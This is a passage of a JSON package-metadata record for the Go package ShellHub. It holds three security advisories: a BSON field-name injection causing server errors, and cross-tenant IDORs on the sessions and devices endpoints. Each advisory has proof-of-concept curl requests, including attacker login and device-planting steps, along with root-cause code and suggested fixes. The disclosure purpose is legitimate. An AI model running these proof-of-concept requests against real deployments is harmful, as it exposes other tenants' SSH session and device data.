-sS -w \"HTTP=%{http_code}\\n\" \"http://target/api/devices?sort_by=\\$where\" \\\n    -H \"Authorization: Bearer $TOKEN\"\n  # HTTP=500\n\n  # Exploit 2b: path containing $\n  curl -sS -w \"HTTP=%{http_code}\\n\" \"http://target/api/devices?sort_by=_id.%24%24%24\" \\\n    -H \"Authorization: Bearer $TOKEN\"\n  # HTTP=500\n\n  # Exploit 2c: oversized sort field (no length validation)\n  curl -sS -w \"HTTP=%{http_code}\\n\" \"http://target/api/devices?sort_by=$(python3 -c 'print(\"A\"*5000)')\" \\\n    -H \"Authorization: Bearer $TOKEN\"\n  # HTTP=500\n\n  # Exploit 2d: non-indexable internal field\n  curl -sS -w \"HTTP=%{http_code}\\n\" \"http://target/api/devices?sort_by=tenant_id\" \\\n    -H \"Authorization: Bearer $TOKEN\"\n  # HTTP=500\n\n  # --- Repeat to demonstrate no rate limiting ---\n  for i in $(seq 1 20); do\n    curl -sS -o /dev/null -w \"%{http_code} \" \"http://target/api/devices?sort_by=\\$where\" \\\n      -H \"Authorization: Bearer $TOKEN\"\n  done\n  # 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500\n  ```\n\n  **Confirmed field values that trigger 500:**\n  - Filter name: `$where`, `$regex`, `$or`, `$ne`, `remote_addr`, `tenant_id`, `namespace`, any path containing `$` after a `.`\n  - Sort-by: `$where`, `_id.$$$`, `tenant_id`, `password.hash`, overly long strings\n\n  **Observed response characteristics:**\n  ```\n  HTTP/1.1 500 Internal Server Error\n  Content-Length: 0\n  X-Request-Id: \u003cid\u003e    ← logged as error in backend\n  ```\n\nResponse time 8-18 ms per request, server process stays alive, no degradation across 20 consecutive requests.\n\n## Impact\n  - **Availability (low):** unrestricted HTTP 500 generation by any authenticated caller; log noise, SIEM false-positives, WAF bypass\nfingerprinting.\n  - **Information disclosure (low):** potential stack trace exposure depending on logger configuration; attacker can fingerprint the underlying MongoDB aggregation pipeline and schema.\n  - **Resource exhaustion (potential):** user-controlled `$regex` value on large tenant datasets enables ReDoS amplification (not reproducible on a 2-device test instance, but attack surface is real on production-scale deployments).\n  - **Forensics difficulty:** unified 500 response makes it hard to distinguish legitimate errors from attacker probes in logs.\n\n## Suggested fix\n\n  1. **Allowlist filter and sort field names per collection.** Add a whitelist of allowed `param.Name` and `sort_by` values for each model exposed via filters (`device`, `session`, etc.). Reject anything else with HTTP 400.\n\n  2. **Reject BSON operators in field names.** Even if an allowlist is not practical, reject values that:\n     - start with `$`\n     - contain `$` after a `.`\n     - contain characters outside `[A-Za-z0-9_.]`\n     - exceed a reasonable length (e.g., 64 characters)\n\n  3. **Validate `value` shape.** For `contains`/`eq`/`ne` operators, reject non-primitive values (objects, arrays of objects).\n\n  4. **Catch aggregation errors.** In `api/store/mongo/query-options.go`,  wrap pipeline execution and return a typed error that the HTTP layer maps to 400 Bad Request instead of 500.\n\n  5. **Limit regex complexity.** In `fromContains`, reject regex values longer than N characters or containing nested quantifiers (`(...)+`, `(...)*`, `(.+)+`, etc.) to mitigate ReDoS.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-05-06T23:28:05.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.4,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:L","references":["https://github.com/shellhub-io/shellhub/security/advisories/GHSA-47r2-v3x6-wff9","https://nvd.nist.gov/vuln/detail/CVE-2026-44425","https://github.com/advisories/GHSA-47r2-v3x6-wff9"],"source_kind":"github","identifiers":["GHSA-47r2-v3x6-wff9","CVE-2026-44425"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-07T00:00:09.384Z","updated_at":"2026-06-22T18:01:08.853Z","epss_percentage":0.00253,"epss_percentile":0.16332,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00N3IyLXYzeDYtd2ZmOc4ABWWz","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS00N3IyLXYzeDYtd2ZmOc4ABWWz","packages":[{"ecosystem":"go","package_name":"github.com/shellhub-io/shellhub","versions":[{"first_patched_version":"0.24.2","vulnerable_version_range":"\u003c= 0.24.1"}],"purl":"pkg:go/github.com%2Fshellhub-io%2Fshellhub"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00N3IyLXYzeDYtd2ZmOc4ABWWz/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS05dzljLTl3OG0tdzg5cc4ABWWx","url":"https://github.com/advisories/GHSA-9w9c-9w8m-w89q","title":"ShellHub has cross-tenant IDOR in `GET /api/sessions/:uid` that discloses SSH session data","description":"## Summary\n`GET /api/sessions/:uid` returns the full session object for any authenticated caller, without scoping by the caller's tenant. An authenticated user can read session records (SSH username, device UID, remote IP, terminal type, authenticated flag, timestamps) belonging to any other namespace.\n\n## Severity\n**CVSS 3.1: 7.5 (High)** \nCWE-639\n\n## Affected versions\nShellHub Community v0.24.1 (by code inspection — same vulnerable pattern as `GetDevice`). Not plant-reproducible without an active SSH session, but the flaw is structurally identical and confirmed via static analysis.\n\n## Root cause\n`api/services/session.go:37-44` — `GetSession` resolves the session by UID without any tenant filter:\n\n  ```go\n  func (s *service) GetSession(ctx context.Context, uid models.UID) (*models.Session, error) {\n      session, err := s.store.SessionResolve(ctx, store.SessionUIDResolver, string(uid))\n      // ⚠️ missing: s.store.Options().InNamespace(tenant)\n      ...\n  }\n  ```\n\nThe `Authorize` middleware only verifies presence of a tenant in the context, not ownership of the requested session.\n\n## Proof of concept\n\nPre-requisite: attacker has any valid user account and has obtained a session UID from the victim tenant (UIDs may leak via logs, shared session recordings, UI URLs, or through the device IDOR in the companion advisory since sessions reference devices by UID).\n\n  ```bash\n  ATTACKER_TOKEN=$(curl -s -X POST http://target/api/login \\\n    -H 'Content-Type: application/json' \\\n    -d '{\"username\":\"attacker\",\"password\":\"...\"}' | jq -r .token)\n\n  # Attempt cross-tenant read\n  curl -i \"http://target/api/sessions/\u003cvictim-session-uid\u003e\" \\\n    -H \"Authorization: Bearer $ATTACKER_TOKEN\"\n  # Expected (fixed):   HTTP 403/404\n  # Observed (v0.24.1): HTTP 200 + full session JSON\n  ```\n\n## Impact\n  - Cross-tenant disclosure of SSH session data: target username, device UID, remote IP, authenticated status, session type, terminal, position (geolocation), started_at / last_seen timestamps.\n  - Enables reconnaissance of other tenants' active users and systems; combined with session recording features, can enable deeper recon.\n\n## Suggested fix\n`api/services/session.go` — apply `InNamespace` in `GetSession`:\n\n  ```go\n  func (s *service) GetSession(ctx context.Context, uid models.UID) (*models.Session, error) {\n      tenant := gateway.TenantFromContext(ctx)\n      opts := []store.QueryOption{}\n      if tenant != nil {\n          opts = append(opts, s.store.Options().InNamespace(tenant.ID))\n      }\n      session, err := s.store.SessionResolve(ctx, store.SessionUIDResolver, string(uid), opts...)\n      ...\n  }\n  ```","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-05-06T23:22:39.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","references":["https://github.com/shellhub-io/shellhub/security/advisories/GHSA-9w9c-9w8m-w89q","https://nvd.nist.gov/vuln/detail/CVE-2026-44423","https://github.com/advisories/GHSA-9w9c-9w8m-w89q"],"source_kind":"github","identifiers":["GHSA-9w9c-9w8m-w89q","CVE-2026-44423"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-07T00:00:09.403Z","updated_at":"2026-06-24T01:01:04.533Z","epss_percentage":0.00246,"epss_percentile":0.15508,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05dzljLTl3OG0tdzg5cc4ABWWx","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS05dzljLTl3OG0tdzg5cc4ABWWx","packages":[{"ecosystem":"go","package_name":"github.com/shellhub-io/shellhub","versions":[{"first_patched_version":"0.24.2","vulnerable_version_range":"\u003c= 0.24.1"}],"purl":"pkg:go/github.com%2Fshellhub-io%2Fshellhub"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05dzljLTl3OG0tdzg5cc4ABWWx/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1qNzJ4LXhmd2ctNzgzZs4ABWWw","url":"https://github.com/advisories/GHSA-j72x-xfwg-783f","title":"ShellHub has cross-tenant IDOR in `GET /api/devices/:uid` that discloses device data of any namespace","description":"## Summary\n`GET /api/devices/:uid` returns the full device object whenever the caller is authenticated, without verifying that the device belongs to the caller's namespace (tenant). Any authenticated user (JWT or API Key) who knows or can guess a device UID can read device metadata from any other namespace.\n\n## Severity\n**CVSS 3.1: 7.5 (High)** \nCWE-639 — Authorization Bypass Through User-Controlled Key\n\n## Affected versions\nShellHub Community v0.24.1 (validated). Likely all prior versions that share this handler.\n\n## Root cause\n`api/services/device.go:97-104` — `GetDevice` resolves the device by UID without scoping to the caller's tenant:\n\n  ```go\n  func (s *service) GetDevice(ctx context.Context, uid models.UID) (*models.Device, error) {\n      device, err := s.store.DeviceResolve(ctx, store.DeviceUIDResolver, string(uid))\n      // ⚠️ missing: s.store.Options().InNamespace(tenant)\n      ...\n  }\n  ```\n\nCompare with `DeleteDevice` in the same file (line 137) which correctly applies `InNamespace(tenant)`.\n\nThe `Authorize` middleware (`api/routes/middleware/authorize.go:12-27`) only checks that a tenant is present in the context — not that the resource belongs to that tenant.\n\n## Proof of concept (validated live against v0.24.1)\n\nPre-requisite: attacker has any valid user account and knows a target `tenant_id` (UUIDs frequently leak via UI URLs, email invites, support channels, or prior namespace membership).\n\n  ```bash\n  ATTACKER_TOKEN=$(curl -s -X POST http://target/api/login \\\n    -H 'Content-Type: application/json' \\\n    -d '{\"username\":\"attacker\",\"password\":\"...\"}' | jq -r .token)\n\n  TARGET_TENANT=\"\u003cvictim-tenant-uuid\u003e\"\n\n  # Plant a device in the victim tenant via the public device-auth endpoint\n  # (this also works when the victim already has devices and the attacker\n  # merely guessed/obtained a real UID via another vector)\n  VICTIM_UID=$(curl -s -X POST http://target/api/devices/auth \\\n    -H 'Content-Type: application/json' \\\n    -d \"{\n      \\\"info\\\":{\\\"id\\\":\\\"x\\\",\\\"pretty_name\\\":\\\"x\\\",\\\"version\\\":\\\"v0.24.1\\\",\\\"arch\\\":\\\"amd64\\\",\\\"platform\\\":\\\"docker\\\"},\n      \\\"hostname\\\":\\\"poc\\\",\n      \\\"identity\\\":{\\\"mac\\\":\\\"aa:bb:cc:dd:ee:ff\\\"},\n      \\\"public_key\\\":\\\"-----BEGIN RSA PUBLIC KEY-----\\\\nx\\\\n-----END RSA PUBLIC KEY-----\\\",\n      \\\"tenant_id\\\":\\\"$TARGET_TENANT\\\"\n    }\" | jq -r .uid)\n\n  # Read the device from a completely different tenant\n  curl -i \"http://target/api/devices/$VICTIM_UID\" \\\n    -H \"Authorization: Bearer $ATTACKER_TOKEN\"\n  # Expected (fixed):   HTTP 403/404\n  # Observed (v0.24.1): HTTP 200 + full device JSON (tenant_id, public_key, MAC,\n  #                     namespace name, OS info, last_seen, remote_addr, ...)\n  ```\n\n## Impact\n  - Cross-tenant disclosure of device metadata: hostname, MAC, OS fingerprint, public SSH key, namespace name, last-seen timestamp, remote address.\n  - Enables namespace enumeration, device inventory reconnaissance of other tenants, and targeted follow-up attacks.\n\n## Suggested fix\nIn `api/services/device.go` `GetDevice`, extract tenant from context and apply `InNamespace`:\n\n  ```go\n  func (s *service) GetDevice(ctx context.Context, uid models.UID) (*models.Device, error) {\n      tenant := gateway.TenantFromContext(ctx)\n      opts := []store.QueryOption{}\n      if tenant != nil {\n          opts = append(opts, s.store.Options().InNamespace(tenant.ID))\n      }\n      device, err := s.store.DeviceResolve(ctx, store.DeviceUIDResolver, string(uid), opts...)\n      ...\n  }\n  ```","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-05-06T23:19:46.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","references":["https://github.com/shellhub-io/shellhub/security/advisories/GHSA-j72x-xfwg-783f","https://nvd.nist.gov/vuln/detail/CVE-2026-44424","https://github.com/advisories/GHSA-j72x-xfwg-783f"],"source_kind":"github","identifiers":["GHSA-j72x-xfwg-783f","CVE-2026-44424"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-07T00:00:09.403Z","updated_at":"2026-06-24T01:01:04.533Z","epss_percentage":0.00246,"epss_percentile":0.15508,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qNzJ4LXhmd2ctNzgzZs4ABWWw","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1qNzJ4LXhmd2ctNzgzZs4ABWWw","packages":[{"ecosystem":"go","package_name":"github.com/shellhub-io/shellhub","versions":[{"first_patched_version":"0.24.2","vulnerable_version_range":"\u003c= 0.24.1"}],"purl":"pkg:go/github.com%2Fshellhub-io%2Fshellhub"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qNzJ4LXhmd2ctNzgzZs4ABWWw/related_packages","related_advisories":[]}],"docker_usage_url":"https://docker.ecosyste.ms/usage/go/github.com/shellhub-io/shellhub","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/go/github.com/shellhub-io/shellhub","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/go/github.com/shellhub-io/shellhub/dependencies","status":null,"funding_links":["https://github.com/sponsors/shellhub-io"],"critical":null,"issue_metadata":{"last_synced_at":"2025-10-23T23:05:16.154Z","issues_count":120,"pull_requests_count":2854,"avg_time_to_close_issue":8584105.648936171,"avg_time_to_close_pull_request":402525.49299835257,"issues_closed_count":94,"pull_requests_closed_count":2428,"pull_request_authors_count":24,"issue_authors_count":46,"avg_comments_per_issue":2.275,"avg_comments_per_pull_request":0.1429572529782761,"merged_pull_requests_count":2116,"bot_issues_count":11,"bot_pull_requests_count":1408,"past_year_issues_count":33,"past_year_pull_requests_count":1390,"past_year_avg_time_to_close_issue":2560176.8636363638,"past_year_avg_time_to_close_pull_request":230589.08987783594,"past_year_issues_closed_count":22,"past_year_pull_requests_closed_count":1146,"past_year_pull_request_authors_count":13,"past_year_issue_authors_count":15,"past_year_avg_comments_per_issue":1.2121212121212122,"past_year_avg_comments_per_pull_request":0.1510791366906475,"past_year_bot_issues_count":4,"past_year_bot_pull_requests_count":648,"past_year_merged_pull_requests_count":980,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/shellhub-io%2Fshellhub/issues","maintainers":[{"login":"henrybarreto","count":439,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/henrybarreto"},{"login":"gustavosbarreto","count":323,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/gustavosbarreto"},{"login":"luannmoreira","count":251,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/luannmoreira"},{"login":"luizhf42","count":29,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/luizhf42"},{"login":"otavio","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/otavio"}],"active_maintainers":[{"login":"henrybarreto","count":227,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/henrybarreto"},{"login":"gustavosbarreto","count":160,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/gustavosbarreto"},{"login":"luannmoreira","count":132,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/luannmoreira"},{"login":"luizhf42","count":29,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/luizhf42"},{"login":"otavio","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/otavio"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fshellhub-io%2Fshellhub/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fshellhub-io%2Fshellhub/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fshellhub-io%2Fshellhub/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fshellhub-io%2Fshellhub/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fshellhub-io%2Fshellhub/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fshellhub-io%2Fshellhub/codemeta","maintainers":[]}